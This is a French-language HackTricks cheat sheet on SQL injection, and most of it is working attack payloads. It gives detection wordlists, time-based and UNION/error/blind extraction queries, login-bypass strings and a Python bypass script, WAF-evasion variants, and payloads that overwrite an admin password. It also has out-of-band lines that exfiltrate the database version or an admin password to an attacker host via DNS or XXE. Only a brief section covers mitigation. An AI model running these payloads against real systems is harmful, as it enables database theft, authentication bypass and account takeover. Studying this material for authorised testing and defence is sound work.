SQL Injection
Reading time: 23 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que SQL injection ?
Une SQL injection est une faille de sĂ©curitĂ© qui permet Ă un attaquant d'interfĂ©rer avec les requĂȘtes de base de donnĂ©es d'une application. Cette vulnĂ©rabilitĂ© peut permettre Ă un attaquant de consulter, modifier ou supprimer des donnĂ©es auxquelles il ne devrait pas avoir accĂšs, y compris des informations d'autres utilisateurs ou toute donnĂ©e accessible par l'application. De telles actions peuvent entraĂźner des modifications permanentes du fonctionnement ou du contenu de l'application, voire la compromission du serveur ou un dĂ©ni de service.
Détection du point d'entrée
Lorsqu'un site semble ĂȘtre vulnĂ©rable Ă SQL injection (SQLi) en raison de rĂ©ponses inhabituelles du serveur Ă des entrĂ©es liĂ©es Ă SQLi, la premiĂšre Ă©tape est de comprendre comment injecter des donnĂ©es dans la requĂȘte sans la perturber. Cela nĂ©cessite d'identifier la mĂ©thode permettant de s'Ă©chapper du contexte actuel efficacement. Voici quelques exemples utiles :
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Ensuite, vous devez savoir comment corriger la requĂȘte pour qu'il n'y ait pas d'erreurs. Pour corriger la requĂȘte, vous pouvez saisir des donnĂ©es afin que la requĂȘte prĂ©cĂ©dente accepte les nouvelles donnĂ©es, ou vous pouvez simplement saisir vos donnĂ©es et ajouter un symbole de commentaire Ă la fin.
Notez que si vous pouvez voir les messages d'erreur ou repĂ©rer les diffĂ©rences entre une requĂȘte qui fonctionne et une qui ne fonctionne pas, cette phase sera plus facile.
Commentaires
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmation avec des opérations logiques
Une méthode fiable pour confirmer une vulnérabilité SQL injection consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramÚtre GET tel que ?username=Peter
renvoyant un contenu identique lorsqu'il est modifié en ?username=Peter' or '1'='1
indique une vulnérabilité SQL injection.
De mĂȘme, l'application d'opĂ©rations mathĂ©matiques constitue une technique de confirmation efficace. Par exemple, si l'accĂšs Ă ?id=1
et ?id=2-1
produit le mĂȘme rĂ©sultat, cela indique une SQL injection.
Exemples démontrant la confirmation par opérations logiques :
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Cette liste de mots a été créée pour tenter de confirmer SQLinjections de la maniÚre proposée :
Vraie SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Confirmation par temporisation
Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Par conséquent, un bon moyen de discover blind SQL injections est de faire exécuter des actions par la DB qui auront un impact sur le temps de chargement de la page.
Nous allons donc concat dans la requĂȘte SQL une opĂ©ration qui prendra beaucoup de temps Ă s'exĂ©cuter :
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Dans certains cas les sleep functions ne seront pas autorisĂ©es. Alors, au lieu d'utiliser ces fonctions vous pouvez faire en sorte que la requĂȘte exĂ©cute des opĂ©rations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentĂ©s sĂ©parĂ©ment pour chaque technologie (si applicable).
Identifier le back-end
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les sleep functions de la section précédente ou celles-ci (tableau depuis payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
De plus, si vous avez accĂšs au rĂ©sultat de la requĂȘte, vous pouvez la faire afficher la version de la base de donnĂ©es.
tip
Dans la suite, nous allons aborder différentes méthodes pour exploiter différents types de SQL Injection. Nous utiliserons MySQL comme exemple.
Identification avec PortSwigger
SQL injection cheat sheet | Web Security Academy
Exploitation Union Based
Détection du nombre de colonnes
Si vous pouvez voir la sortie de la requĂȘte, c'est la meilleure façon de l'exploiter.
Tout d'abord, nous devons dĂ©terminer le nombre de colonnes renvoyĂ©es par la requĂȘte initiale. En effet, les deux requĂȘtes doivent renvoyer le mĂȘme nombre de colonnes.
Deux méthodes sont généralement utilisées à cet effet :
Order/Group by
Pour dĂ©terminer le nombre de colonnes d'une requĂȘte, augmentez progressivement la valeur utilisĂ©e dans les clauses ORDER BY ou GROUP BY jusqu'Ă obtenir une rĂ©ponse erronĂ©e. Bien que GROUP BY et ORDER BY aient des fonctionnalitĂ©s distinctes en SQL, les deux peuvent ĂȘtre utilisĂ©s de la mĂȘme maniĂšre pour dĂ©terminer le nombre de colonnes renvoyĂ©es par la requĂȘte.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
SĂ©lectionnez de plus en plus de valeurs null jusqu'Ă ce que la requĂȘte soit correcte :
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Vous devriez utiliser les valeurs null
car dans certains cas le type des colonnes des deux cĂŽtĂ©s de la requĂȘte doit ĂȘtre le mĂȘme et null
est valide dans tous les cas.
Extraire les noms de bases de données, les noms de tables et les noms de colonnes
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom des tables d'une base de données, les noms des colonnes d'une table :
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Il existe une façon diffĂ©rente de dĂ©couvrir ces donnĂ©es pour chaque base de donnĂ©es, mais la mĂ©thodologie reste toujours la mĂȘme.
Exploitation des Hidden Union Based
Lorsque la sortie d'une requĂȘte est visible, mais qu'une union-based injection semble irrĂ©alisable, cela signifie la prĂ©sence d'une hidden union-based injection. Ce scĂ©nario conduit souvent Ă une situation de blind injection. Pour transformer une blind injection en une union-based, il faut dĂ©terminer la requĂȘte d'exĂ©cution cĂŽtĂ© backend.
Cela peut ĂȘtre accompli en utilisant des techniques de blind injection ainsi que les tables par dĂ©faut spĂ©cifiques Ă votre DBMS. Pour comprendre ces tables par dĂ©faut, il est conseillĂ© de consulter la documentation du DBMS cible.
Une fois la requĂȘte extraite, il est nĂ©cessaire d'adapter votre payload pour fermer en toute sĂ©curitĂ© la requĂȘte d'origine. Ensuite, une union query est ajoutĂ©e Ă votre payload, facilitant l'exploitation de la union-based injection nouvellement accessible.
Pour des informations plus complÚtes, référez-vous à l'article complet disponible sur Healing Blind Injections.
Exploitation Error based
Si pour une raison quelconque vous ne pouvez pas voir la sortie de la requĂȘte mais que vous pouvez voir les messages d'erreur, vous pouvez utiliser ces messages d'erreur pour ex-filtrate des donnĂ©es depuis la base de donnĂ©es.
En suivant un flux similaire Ă l'exploitation Union Based, vous pourriez parvenir Ă dumper le DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploitation de Blind SQLi
Dans ce cas vous ne pouvez pas voir les rĂ©sultats de la requĂȘte ni les erreurs, mais vous pouvez dĂ©terminer quand la requĂȘte retourne une rĂ©ponse true ou false parce que le contenu de la page est diffĂ©rent.
Dans ce cas, vous pouvez abuser de ce comportement pour dump la base de données caractÚre par caractÚre:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Ceci est le mĂȘme cas que prĂ©cĂ©demment, mais au lieu de distinguer une rĂ©ponse vrai/faux de la requĂȘte, vous pouvez distinguer une erreur dans la requĂȘte SQL ou non (peutâĂȘtre parce que le serveur HTTP plante). Par consĂ©quent, dans ce cas vous pouvez provoquer une SQLerror chaque fois que vous devinez correctement le caractĂšre :
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiter Time Based SQLi
Dans ce cas, il n'existe aucune façon de diffĂ©rencier la rĂ©ponse de la requĂȘte selon le contexte de la page. Cependant, vous pouvez faire en sorte que la page mette plus de temps Ă se charger si le caractĂšre devinĂ© est correct. Nous avons dĂ©jĂ vu cette technique utilisĂ©e auparavant pour confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Vous pouvez utiliser stacked queries pour exĂ©cuter plusieurs requĂȘtes successivement. Notez que mĂȘme si les requĂȘtes suivantes sont exĂ©cutĂ©es, les rĂ©sultats ne sont pas renvoyĂ©s Ă l'application. Ainsi, cette technique est principalement utile pour les blind vulnerabilities, oĂč vous pouvez utiliser une seconde requĂȘte pour dĂ©clencher un DNS lookup, une erreur conditionnelle ou une temporisation.
Oracle ne prend pas en charge les stacked queries. MySQL, Microsoft et PostgreSQL les prennent en charge : QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Si aucune autre mĂ©thode d'exploitation n'a fonctionnĂ©, vous pouvez tenter de faire en sorte que la database ex-filtrate les informations vers un hĂŽte externe contrĂŽlĂ© par vous. Par exemple, via des requĂȘtes DNS :
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Exfiltration de données hors bande via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Exploitation automatisée
Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.
Infos spécifiques par technologie
Nous avons déjà abordé toutes les maniÚres d'exploiter une vulnérabilité SQL Injection. Trouvez d'autres astuces spécifiques à la technologie de base de données dans ce livre :
Ou vous trouverez également beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Liste à essayer pour bypasser la fonctionnalité de login :
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Cette requĂȘte met en Ă©vidence une vulnĂ©rabilitĂ© lorsque MD5 est utilisĂ© avec true pour la sortie brute dans les vĂ©rifications d'authentification, rendant le systĂšme susceptible Ă SQL injection. Les attaquants peuvent exploiter cela en fabriquant des entrĂ©es qui, une fois hachĂ©es, produisent des parties de commande SQL inattendues, entraĂźnant un accĂšs non autorisĂ©.
md5("ffifdyop", true) = 'or'6ïżœ]ïżœïżœ!r,ïżœïżœbïżœ
sha1("3fDf ", true) = Qïżœu'='ïżœ@ïżœ[ïżœtïżœ- oïżœïżœ_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Liste recommandée:
Vous devez utiliser comme username chaque ligne de la liste et comme password toujours : Pass1234.
(Ces payloads sont aussi inclus dans la grande liste mentionnée au début de cette section)
GBK Authentication Bypass
Si ' est Ă©chappĂ© vous pouvez utiliser %A8%27, et lorsque ' est Ă©chappĂ© il sera créé : 0xA80x5c0x27 (â')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Script Python :
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modifier le mot de passe d'un objet/utilisateur existant
Pour ce faire, vous devriez essayer de créer un nouvel objet nommé comme le "master object" (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :
- Créez un utilisateur nommé : AdMIn (lettres majuscules et minuscules)
- Créez un utilisateur nommé : admin=
- SQL Truncation Attack (lorsqu'il y a une sorte de limite de longueur dans le nom d'utilisateur ou l'email) --> Créez un utilisateur avec le nom : admin [a lot of spaces] a
SQL Truncation Attack
Si la base de données est vulnérable et que le nombre maximal de caractÚres pour le nom d'utilisateur est, par exemple, 30 et que vous voulez usurper l'utilisateur admin, essayez de créer un nom d'utilisateur appelé : "admin [30 spaces] a" et n'importe quel mot de passe.
La base de données va vérifier si le nom d'utilisateur introduit existe dans la base. Si non, elle va couper le nom d'utilisateur à la longueur maximale autorisée (dans ce cas à : "admin [25 spaces]") puis elle va supprimer automatiquement tous les espaces à la fin en mettant à jour dans la base de données l'utilisateur "admin" avec le nouveau mot de passe (une erreur peut apparaßtre mais cela ne signifie pas que cela n'a pas fonctionné).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note : This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Ajoutez autant de ','',''
que nécessaire pour sortir de la clause VALUES. Si delay est exécuté, vous avez une SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La clause ON DUPLICATE KEY UPDATE
dans MySQL est utilisĂ©e pour spĂ©cifier les actions que la base de donnĂ©es doit effectuer lorsqu'une tentative d'insertion d'une ligne entraĂźnerait une valeur dupliquĂ©e dans un index UNIQUE ou une PRIMARY KEY. L'exemple suivant montre comment cette fonctionnalitĂ© peut ĂȘtre exploitĂ©e pour modifier le mot de passe d'un compte administrateur :
Exemple d'injection de Payload :
Un payload d'injection pourrait ĂȘtre construit comme suit, oĂč deux lignes sont tentĂ©es d'ĂȘtre insĂ©rĂ©es dans la table users
. La premiĂšre ligne est un leurre, et la deuxiĂšme ligne cible l'email d'un administrateur existant dans le but de mettre Ă jour le mot de passe :
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Voici comment cela fonctionne :
- La requĂȘte tente d'insĂ©rer deux lignes : une pour
generic_user@example.com
et une autre pouradmin_generic@example.com
. - Si la ligne pour
admin_generic@example.com
existe déjà , la clauseON DUPLICATE KEY UPDATE
se déclenche, demandant à MySQL de mettre à jour le champpassword
de la ligne existante avec "bcrypt_hash_of_newpassword". - Par consĂ©quent, l'authentification peut ensuite ĂȘtre tentĂ©e en utilisant
admin_generic@example.com
avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" reprĂ©sente le hash bcrypt du nouveau mot de passe, qui doit ĂȘtre remplacĂ© par le hash rĂ©el du mot de passe souhaitĂ©).
Extraire des informations
CrĂ©er 2 comptes en mĂȘme temps
Lors de la création d'un nouveau user, username, password et email sont nécessaires :
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Utiliser le décimal ou l'hexadécimal
Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
En utilisant hex2dec et substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Pour obtenir le texte, vous pouvez utiliser :
__import__('binascii').unhexlify(hex(215573607263)[2:])
En utilisant hex et replace (et substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection est une situation oĂč la requĂȘte injectable n'est pas celle qui donne la sortie mais la sortie de la requĂȘte injectable est transmise Ă la requĂȘte qui donne la sortie. (From Paper)
Exemple:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass utilisant des alternatives aux espaces blancs
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - contournement en utilisant des commentaires
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass en utilisant des parenthĂšses
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Bypasses génériques
Blacklist en utilisant des keywords - bypass en utilisant majuscules/minuscules
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist de keywords insensible Ă la casse â bypass en utilisant un opĂ©rateur Ă©quivalent
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Vous pouvez trouver une explication plus approfondie de cette astuce dans gosecure blog.
En pratique, vous pouvez utiliser la notation scientifique de façons inattendues pour contourner le WAF :
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Contourner la restriction des noms de colonnes
Tout d'abord, remarquez que si la requĂȘte originale et la table d'oĂč vous voulez extraire le flag ont le mĂȘme nombre de colonnes vous pouvez simplement faire : 0 UNION SELECT * FROM flag
Il est possible d'accĂ©der Ă la troisiĂšme colonne d'une table sans utiliser son nom en utilisant une requĂȘte comme la suivante : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, donc dans une sqlinjection cela ressemblerait Ă :
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ou en utilisant un comma bypass :
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Cette astuce provient de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Si l'entrée utilisateur est concaténée dans la liste SELECT ou dans les identifiants de table/colonne, les prepared statements n'aideront pas car les bind parameters ne protÚgent que les values, pas les identifiers. Un pattern vulnérable courant est :
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
IdĂ©e d'exploitation : injecter une sous-requĂȘte dans la position de champ pour exfiltrer des donnĂ©es arbitraires :
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Remarques :
- Cela fonctionne mĂȘme lorsque la WHERE clause utilise un bound parameter, car la liste d'identifiants est toujours concatĂ©nĂ©e en tant que chaĂźne.
- Certaines stacks permettent en outre de contrĂŽler le nom de table (tablename injection), autorisant des lectures inter-tables.
- Les output sinks peuvent refléter la valeur sélectionnée dans HTML/JSON, permettant des XSS ou du token exfiltration directement depuis la réponse.
Mesures d'atténuation :
- Ne concaténez jamais des identifiants provenant d'entrées utilisateur. Mappez les noms de colonne autorisés vers une allow-list fixe et quotez correctement les identifiants.
- Si un accÚs dynamique aux tables est nécessaire, restreignez-le à un ensemble fini et résolvez cÎté serveur à partir d'un mapping sûr.
WAF bypass suggester tools
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Autres guides
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force Detection List
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.